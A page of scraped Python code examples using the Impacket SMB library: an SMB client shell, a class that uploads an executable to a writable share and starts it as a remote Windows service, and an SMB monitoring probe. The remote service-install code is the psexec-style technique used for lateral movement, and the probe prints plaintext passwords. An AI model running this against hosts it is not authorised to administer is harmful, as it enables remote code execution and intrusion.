    def do_mget(self, mask):
        if mask == '':
            LOG.error("A mask must be provided")
            return
        if self.tid is None:
            LOG.error("No share selected")
            return
        self.do_ls(mask,display=False)
        if len(self.completion) == 0:
            LOG.error("No files found matching the provided mask")
            return
        for file_tuple in self.completion:
            if file_tuple[1] == 0:
                filename = file_tuple[0]
                filename = filename.replace('/', '\\')
                fh = open(ntpath.basename(filename), 'wb')
                pathname = ntpath.join(self.pwd, filename)
                try:
                    LOG.info("Downloading %s" % (filename))
                    self.smb.getFile(self.share, pathname, fh.write)
                except:
                    fh.close()
                    os.remove(filename)
                    raise
                fh.close()

    def do_get(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        filename = filename.replace('/','\\')
        fh = open(ntpath.basename(filename),'wb')
        pathname = ntpath.join(self.pwd,filename)
        try:
            self.smb.getFile(self.share, pathname, fh.write)
        except:
            fh.close()
            os.remove(filename)
            raise
        fh.close()

    def do_cat(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        filename = filename.replace('/','\\')
        fh = BytesIO()
        pathname = ntpath.join(self.pwd,filename)
        try:
            self.smb.getFile(self.share, pathname, fh.write)
        except:
            raise
        output = fh.getvalue()
        encoding = ""  # chardet.detect(output)["encoding"]
        error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?"
        if encoding:
            try:
                print(output.decode(encoding))
            except:
                print(error_msg)
            finally:
                fh.close()
        else:
            print(error_msg)
            fh.close()

    def do_close(self, line):
        self.do_logoff(line)

    def do_list_snapshots(self, line):
        l = line.split(' ')
        if len(l) > 0:
            pathName= l[0].replace('/','\\')

        # Relative or absolute path?
        if pathName.startswith('\\') is not True:
            pathName = ntpath.join(self.pwd, pathName)

        snapshotList = self.smb.listSnapshots(self.tid, pathName)

        if not snapshotList:
            print("No snapshots found")
            return

        for timestamp in snapshotList:
            print(timestamp)

    def do_mount(self, line):
        l = line.split(' ')
        if len(l) > 1:
            target  = l[0].replace('/','\\')
            pathName= l[1].replace('/','\\')

        # Relative or absolute path?
        if pathName.startswith('\\') is not True:
            pathName = ntpath.join(self.pwd, pathName)

        self.smb.createMountPoint(self.tid, pathName, target)

    def do_umount(self, mountpoint):
        mountpoint = mountpoint.replace('/','\\')

        # Relative or absolute path?
        if mountpoint.startswith('\\') is not True:
            mountpoint = ntpath.join(self.pwd, mountpoint)

        mountPath = ntpath.join(self.pwd, mountpoint)

        self.smb.removeMountPoint(self.tid, mountPath)

    def do_EOF(self, line):
        print('Bye!\n')
        return True
Пример #9
0
class ServiceInstall:
    def __init__(self, SMBObject, exeFile, serviceName=''):
        self._rpctransport = 0
        self.__service_name = serviceName if len(serviceName) > 0  else  ''.join([random.choice(string.ascii_letters) for i in range(4)])
        self.__binary_service_name = ''.join([random.choice(string.ascii_letters) for i in range(8)]) + '.exe'
        self.__exeFile = exeFile

        # We might receive two different types of objects, always end up
        # with a SMBConnection one
        if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3):
            self.connection = SMBConnection(existingConnection = SMBObject)
        else:
            self.connection = SMBObject

        self.share = ''
 
    def getShare(self):
        return self.share

    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost()))
        try: 
            self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(),
                                                        self.connection.getRemoteHost(),filename = r'\srvsvc',
                                                        smb_connection = self.connection)
            dce_srvs = self._rpctransport.get_dce_rpc()
            dce_srvs.connect()

            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrShareEnum(dce_srvs, 1)
            return resp['InfoStruct']['ShareInfo']['Level1']
        except:
            LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost()))
            raise

        
    def createService(self, handle, share, path):
        LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost()))

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp =  scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00')
        except Exception as e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
                # We're good, pass the exception
                pass
            else:
                raise e
        else:
            # It exists, remove it
            scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle'])

        # Create the service
        command = '%s\\%s' % (path, self.__binary_service_name)
        try: 
            resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00',
                                         lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START)
        except:
            LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost()))
            raise
        else:
            return resp['lpServiceHandle']

    def openSvcManager(self):
        LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost())
        # Setup up a DCE SMBTransport with the connection already in place
        self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),
                                                    filename = r'\svcctl', smb_connection = self.connection)
        self.rpcsvc = self._rpctransport.get_dce_rpc()
        self.rpcsvc.connect()
        self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
        try:
            resp = scmr.hROpenSCManagerW(self.rpcsvc)
        except:
            LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost())
            raise Exception('Unable to open SVCManager')
        else:
            return resp['lpScHandle']

    def copy_file(self, src, tree, dst):
        LOG.info("Uploading file %s" % dst)
        if isinstance(src, str):
            # We have a filename
            fh = open(src, 'rb')
        else:
            # We have a class instance, it must have a read method
            fh = src
        f = dst
        pathname = f.replace('/','\\')
        try:
            self.connection.putFile(tree, pathname, fh.read)
        except:
            LOG.critical("Error uploading file %s, aborting....." % dst)
            raise
        fh.close()

    def findWritableShare(self, shares):
        # Check we can write a file on the shares, stop in the first one
        writeableShare = None
        for i in shares['Buffer']:
            if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:
               share = i['shi1_netname'][:-1]
               tid = 0
               try:
                   tid = self.connection.connectTree(share)
                   self.connection.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
               except:
                   LOG.critical("share '%s' is not writable." % share)
                   pass
               else:
                   LOG.info('Found writable share %s' % share)
                   writeableShare = str(share)
                   break
               finally:
                   if tid != 0:
                       self.connection.disconnectTree(tid)
        return writeableShare

    def install(self):
        if self.connection.isGuestSession():
            LOG.critical("Authenticated as Guest. Aborting")
            self.connection.logoff()
            del self.connection
        else:
            fileCopied = False
            serviceCreated = False
            # Do the stuff here
            try:
                # Let's get the shares
                shares = self.getShares()
                self.share = self.findWritableShare(shares)
                if self.share is None:
                    return False
                self.copy_file(self.__exeFile ,self.share,self.__binary_service_name)
                fileCopied = True
                svcManager = self.openSvcManager()
                if svcManager != 0:
                    serverName = self.connection.getServerName()
                    if self.share.lower() == 'admin$':
                        path = '%systemroot%'
                    else:
                        if serverName != '':
                           path = '\\\\%s\\%s' % (serverName, self.share)
                        else:
                           path = '\\\\127.0.0.1\\' + self.share 
                    service = self.createService(svcManager, self.share, path)
                    serviceCreated = True
                    if service != 0:
                        # Start service
                        LOG.info('Starting service %s.....' % self.__service_name)
                        try:
                            scmr.hRStartServiceW(self.rpcsvc, service)
                        except:
                            pass
                        scmr.hRCloseServiceHandle(self.rpcsvc, service)
                    scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
                    return True
            except Exception as e:
                LOG.critical("Error performing the installation, cleaning up: %s" %e)
                try:
                    scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
                except:
                    pass
                if fileCopied is True:
                    try:
                        self.connection.deleteFile(self.share, self.__binary_service_name)
                    except:
                        pass
                if serviceCreated is True:
                    try:
                        scmr.hRDeleteService(self.rpcsvc, service)
                    except:
                        pass
            return False
      
    def uninstall(self):
        fileCopied = True
        serviceCreated = True
        # Do the stuff here
        try:
            # Let's get the shares
            svcManager = self.openSvcManager()
            if svcManager != 0:
                resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name+'\x00')
                service = resp['lpServiceHandle'] 
                LOG.info('Stopping service %s.....' % self.__service_name)
                try:
                    scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
                except:
                    pass
                LOG.info('Removing service %s.....' % self.__service_name)
                scmr.hRDeleteService(self.rpcsvc, service)
                scmr.hRCloseServiceHandle(self.rpcsvc, service)
                scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
            LOG.info('Removing file %s.....' % self.__binary_service_name)
            self.connection.deleteFile(self.share, self.__binary_service_name)
        except Exception:
            LOG.critical("Error performing the uninstallation, cleaning up" )
            try:
                scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
            except:
                pass
            if fileCopied is True:
                try:
                    self.connection.deleteFile(self.share, self.__binary_service_name)
                except:
                    try:
                        self.connection.deleteFile(self.share, self.__binary_service_name)
                    except:
                        pass
                    pass
            if serviceCreated is True:
                try:
                    scmr.hRDeleteService(self.rpcsvc, service)
                except:
                    pass
Пример #10
0
class probe_smb(probemain):
    """ SMB probe
    """

    # -----------------------------------------
    def __init__(self):
        """constructor

        """
        probemain.__init__(self, "SMB")

        self.smbClient = None

        self.aShares = None
        self.dceInfo = None
        self.domain = None
        self.ip = None
        self.password = None
        self.port = None
        self.pwd = None
        self.server = None
        self.share = None
        self.tid = None
        self.username = None
        self.bConnected = None
        self.bGuestConnected = None

        self.__clean()

        self.checkNet()
        self.getConfig("smb", self.job_smb)
        self.mainLoop()

    # -----------------------------------------
    def __clean(self):
        """clean all variables"""
        self.bConnected = False
        self.bGuestConnected = True

        self.dceInfo = {}
        self.aShares = []
        self.tid = None
        self.pwd = '\\'
        self.share = ''

    # -----------------------------------------
    def getConfig(self, name, f, testf=None):
        """get the configuration from the database

        """
        jobs = super(probe_smb, self).getConfig(name, f, self.f_testOK)
        for j in jobs:
            logging.info("add job to scheduler every {} sec".format(j['freq']))

    # --------------------------------------------------
    def connect(self):
        """connect to the server
        """
        try: 
            self.smbClient = SMBConnection(self.server, self.ip, sess_port=self.port)
            self.smbClient.login(self.username, self.password, self.domain, '', '')

        except Exception as e:
            logging.error(str(e))
            self.bConnected = False
            return False

        self.bConnected = True

        self.bGuestConnected = (self.smbClient.isGuestSession() > 0)

        return True

    # --------------------------------------------------
    def isUserLogged(self):
        """is the connection guest
        """
    
        return self.bGuestConnected

    # --------------------------------------------------
    def getDCEInfo(self):
        """information on the DCE/RPC connection
        """
        if self.bConnected is False:
            return

        rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), 
                                              filename=r'\srvsvc',
                                              smb_connection=self.smbClient)
        dce = rpctransport.get_dce_rpc()
        dce.connect()                     
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrServerGetInfo(dce, 102)
        
        r = {
            "platform_id": resp['InfoStruct']['ServerInfo102']['sv102_platform_id'],
            "name": str(resp['InfoStruct']['ServerInfo102']['sv102_name'].replace('\x00', '')),
            "major": resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
            "minor": resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
            "type": resp['InfoStruct']['ServerInfo102']['sv102_type'],
            "comment": str(resp['InfoStruct']['ServerInfo102']['sv102_comment'].replace('\x00', '')),
            "simultaneous_users": resp['InfoStruct']['ServerInfo102']['sv102_users'],
            "disc": resp['InfoStruct']['ServerInfo102']['sv102_disc'],
            "hidden": resp['InfoStruct']['ServerInfo102']['sv102_hidden'],
            "announce": resp['InfoStruct']['ServerInfo102']['sv102_announce'],
            "anndelta": resp['InfoStruct']['ServerInfo102']['sv102_anndelta'],
            "licenses": resp['InfoStruct']['ServerInfo102']['sv102_licenses'],
            "user_path": str(resp['InfoStruct']['ServerInfo102']['sv102_userpath'].replace('\x00', ''))
        }

        self.dceInfo = r

        del rpctransport
        del dce
        del resp

        return r

    # --------------------------------------------------
    def getWho(self):
        """who is connected -> error
        """

        try:
            rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), 
                                                  filename=r'\srvsvc', 
                                                  smb_connection=self.smbClient)
            dce = rpctransport.get_dce_rpc()
            dce.connect()                     
            dce.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)

        except Exception as e:
            logging.error("getWho: {}".format(str(e)))
            return

        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
            print("host: %15s, user: %5s, active: %5d, idle: %5d" % (
                session['sesi10_cname'][:-1],
                session['sesi10_username'][:-1], 
                session['sesi10_time'],
                session['sesi10_idle_time']))

    # --------------------------------------------------
    def getShares(self):
        """get shares available on the server
        """
        if self.bConnected is False:
            logging.error("No connection open")
            return

        r = []
        resp = self.smbClient.listShares()
        for respi in resp:
            r.append(respi['shi1_netname'][:-1])

        self.aShares = r

        return r

    # --------------------------------------------------
    def getShare(self, regexp=".*"):
        """get shares available on the server

        """

        if self.bConnected is False:
            logging.error("No connection open")
            return

        resp = self.smbClient.listShares()
        for i, _ in enumerate(resp):
            netname = resp[i]['shi1_netname'][:-1]

            _r = re.match(regexp, netname)
            if _r != None:
                return {
                    "netname": netname,
                    "type": resp[i]['shi1_type'],
                    "remark": resp[i]['shi1_remark'][:-1]
                }

        return False

    # --------------------------------------------------
    def useShare(self, share):
        """use a share
        """
        if self.bConnected is False:
            logging.error("No connection open")
            return False

        if not self.aShares:
            self.getShares()

        if share not in self.aShares:
            logging.error("useShare : share {} not available on server".format(share))
            return False

        try:
            self.tid = self.smbClient.connectTree(share)
        except Exception as e:
            logging.error("useShare: {}".format(str(e)))
            return False

        logging.debug("connected on share {}".format(share))
        self.share = share

    # --------------------------------------------------
    def cd(self, _dir):
        """change directory on the share
        """
        if self.bConnected is False:
            logging.error("No connection open")
            return

        if self.tid is None:
            logging.error("not on a share")
            return

        pwd = ntpath.normpath(string.replace(_dir, '/', '\\'))
        logging.debug("cd to normalize path {}".format(pwd))

        # Let's try to open the directory to see if it's valid
        try:
            fid = self.smbClient.openFile(self.tid, pwd, 
                                          creationOption=FILE_DIRECTORY_FILE,
                                          desiredAccess=FILE_READ_DATA | FILE_LIST_DIRECTORY,
                                          shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE)

            self.smbClient.closeFile(self.tid, fid)
        except Exception as e:
            logging.error("cd: {}".format(str(e)))
            return False

        logging.debug("success cd to {}".format(_dir))
        self.pwd = pwd
        return True

    # --------------------------------------------------
    def lsFiles(self, _filter='*'):
        """list files in the directory
        """
        if self.bConnected is False:
            logging.error("No connection open")
            return False

        if self.share == '':
            logging.error("No share selected, see useShare()")
            return False

        if self.tid is None:
            logging.error("not on a share")
            return False

        logging.debug("ls on share {} in {}".format(self.share, self.pwd))

        pwd = ntpath.join(self.pwd, _filter)

        r = []

        try:
            for f in self.smbClient.listPath(self.share, pwd):
                if f.is_directory() == 0:
                    r.append({
                        "mtime": f.get_mtime_epoch(),
                        "ctime": f.get_ctime_epoch(),
                        "atime": f.get_atime_epoch(),
                        "size": f.get_filesize(),
                        "name": str(f.get_longname())
                    })
        except Exception as ex:
            logging.error("file list: {}".format(str(ex)))

        return r

    # --------------------------------------------------
    def logoff(self):
        """get off the server
        """

        if self.smbClient is None or self.bConnected is False:
            logging.error("No connection open")
        else:
            self.smbClient.logoff()
            del self.smbClient

        self.__clean()

    # --------------------------------------------------
    def __str__(self): 
        """for print
        """
        import pprint

        s = "smb client object:\n"

        s += " configuration:\n"
        s += "  domain/user:pwd: {}/{}:{}\n".format(self.domain, self.username, self.password)
        s += "  server/ip:port: {}/{}:{}\n".format(self.server, self.ip, self.port)
        
        s += "\n status:\n"
        if self.bConnected:
            if self.bGuestConnected:
                s += "  guest connected\n"
            else:
                s += "  user connected\n"
        else:
            s += "  not connected\n"

        if self.dceInfo.__contains__('licenses'):
            s += "\n DCE Info: {}\n".format(pprint.pformat(self.dceInfo))

        if self.aShares:
            s += "\n shares = {}\n".format(pprint.pformat(self.aShares))

        return s

    # -----------------------------------------
    def step_get_file_stats(self, _step, iStep):
        """get_file_stats action

        """
        result = {}

        result["smb-step-{:02d}-action".format(iStep)] = _step['type']

        _ms = time.time()

        sError = "smb-step-{:02d}-error".format(iStep)
        if self.useShare(_step['share']) is False:
            result[sError] = "share not available: {}".format(_step['share'])
            return result
        result["smb-step-{:02d}-share".format(iStep)] = _step['share']

        if self.cd(_step['path']) is False:
            result[sError] = "path not available in share: {}".format(_step['share'])
            return result
        result["smb-step-{:02d}-path".format(iStep)] = str(_step['path'])

        a = self.lsFiles(_step['file'])
        if a is False:
            result[sError] = "file access error: {}".format(_step['file'])
            return result

        if len(a) == 0:
            result[sError] = "file not found: {}".format(_step['file'])
            return result

        result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000)

        result["smb-step-{:02d}-file".format(iStep)] = a[0]['name']
        result["smb-step-{:02d}-atime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['atime']).isoformat()

        result["smb-step-{:02d}-ctime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['ctime']).isoformat()
        result["smb-step-{:02d}-mtime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['mtime']).isoformat()
        result["smb-step-{:02d}-size".format(iStep)] = a[0]['size']

        return result
        #pprint.pprint(a)

    # -----------------------------------------
    def step_get_share(self, _step, iStep):
        """get_share action

        """
        result = {}

        _ms = time.time()

        result["smb-step-{:02d}-action".format(iStep)] = _step['type']

        r = self.getShare(_step['share'])
        if r != False:
            result["smb-step-{:02d}-remark".format(iStep)] = r['remark']
            result["smb-step-{:02d}-netname".format(iStep)] = r['netname']
        else:
            result["smb-step-{:02d}-error".format(iStep)] = "not found: {}".format(_step['share'])

        result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000)
        
        return result

    # -----------------------------------------
    def step_get_dce_info(self, _step, iStep):
        """get DCE action

        """
        result = {}

        _ms = time.time()

        result["smb-step-{:02d}-action".format(iStep)] = _step['type']

        r = self.getDCEInfo()

        result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000)

        result["smb-step-{:02d}-anndelta".format(iStep)] = r['anndelta']
        result["smb-step-{:02d}-announce".format(iStep)] = r['announce']
        result["smb-step-{:02d}-disc".format(iStep)] = r['disc']
        result["smb-step-{:02d}-licenses".format(iStep)] = r['licenses']
        result["smb-step-{:02d}-major".format(iStep)] = r['major']
        result["smb-step-{:02d}-minor".format(iStep)] = r['minor']
        result["smb-step-{:02d}-name".format(iStep)] = r['name']
        result["smb-step-{:02d}-platform_id".format(iStep)] = r['platform_id']
        result["smb-step-{:02d}-simultaneous_users".format(iStep)] = r['simultaneous_users']
        
        return result

    # -----------------------------------------
    def step_read_file(self, _step, iStep):
        """read a file

        """
        result = {}

        result["smb-step-{:02d}-action".format(iStep)] = _step['type']

        if self.useShare(_step['share']) is False:
            result["smb-step-{:02d}-error"] = "share not available: {}".format(_step['share'])
            return result
        result["smb-step-{:02d}-share".format(iStep)] = _step['share']

        fileName = ntpath.normpath(string.replace(_step['file'], '/', '\\'))
        logging.debug("open file {}".format(fileName))

        if _step.__contains__('blocksize'):
            blocksize = min(1024, _step['blocksize'])
            blocksize *= 1024
        else:
            blocksize = 1024*1024

        _ms = time.time()

        try:
            fid = self.smbClient.openFile(self.tid, fileName)

            offset = 0
            endFile = False

            while endFile is False:
                _buffer = self.smbClient.readFile(self.tid, fid, offset, blocksize)
                if len(_buffer) == 0:
                    endFile = True
                offset += len(_buffer)

            result["smb-step-{:02d}-read-KB".format(iStep)] = offset / 1024.0
            result["smb-step-{:02d}-Mbps".format(iStep)] = (offset * 8 / (time.time() - _ms))/1024000

            self.smbClient.closeFile(self.tid, fid)
        except Exception as e:
            logging.error("open file: {}".format(str(e)))
            result["smb-step-{:02d}-error".format(iStep)] = "error in open file: {}".format(_step['file'])

        result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000)

        return result

    # -----------------------------------------
    def job_smb(self, _config):
        """smb job

        """

        _msTotal = time.time()

        if not _config.__contains__('server'):
            logging.error("no server specified")
            return

        if not _config.__contains__('user'):
            _config['user'] = ""

        if not _config.__contains__('password'):
            _config['password'] = ""

        if not _config.__contains__('domain'):
            _config['domain'] = ""

        if not _config.__contains__('ip'):
            _config['ip'] = _config['server']

        if not _config.__contains__('port'):
            _config['port'] = 445

        self.domain = _config['domain']
        self.username = _config['user']
        self.password = _config['password']
        self.server = _config['server']
        self.ip = _config['ip']
        self.port = _config['port']

        result = {
            "smb-domain": self.domain,
            "smb-user": self.username,
            "smb-server" : self.server
        }
        
        if not _config.__contains__('steps'):
            logging.error("no steps specified")
            result['smb-error'] = "no step specified in configuration"
            self.pushResult(result)
            return

        logging.info("connect")
        _ms = time.time()
        if self.connect() is False:
            logging.error("connect error")
            result['smb-error'] = "connect error"
            self.pushResult(result)
            return
        result['smb-connect-delay-ms'] = round((time.time() - _ms) * 1000)

        _ms = time.time()
        self.getShares()
        result['smb-get-shares-delay-ms'] = round((time.time() - _ms) * 1000)

        # exec each steps
        iStep = 1
        while _config['steps'].__contains__("{:02d}".format(iStep)):
            _step = _config['steps']["{:02d}".format(iStep)]
            logging.debug("exec step {:02d}".format(iStep))

            if _step['type'] == "get_file_stats":
                _r = self.step_get_file_stats(_step, iStep)
                result.update(_r)

            if _step['type'] == "get_dce_info":
                _r = self.step_get_dce_info(_step, iStep)
                result.update(_r)

            if _step['type'] == "get_share":
                _r = self.step_get_share(_step, iStep)
                result.update(_r)

            if _step['type'] == "read_file":
                _r = self.step_read_file(_step, iStep)
                result.update(_r)

            iStep += 1

        # get the shares
        # print self.getShares()

        # get dce server info
        # pprint.pprint(self.getDCEInfo())
        
        # self.useShare("notavail")
        # self.useShare("music")

        # self.cd("/Calogero/L'Embellie")

        # pprint.pprint(self.lsFiles())

        logging.info("logout")
        self.logoff()

        result['smb-delay-ms'] = round((time.time() - _msTotal) * 1000)

        import pprint
        pprint.pprint(result)

        # logging.info("smb results : {}".format(result))
        # exit()
        #self.pushResult(result)

        if 'run_once' in _config:
            logging.info("run only once, exit")
            exit()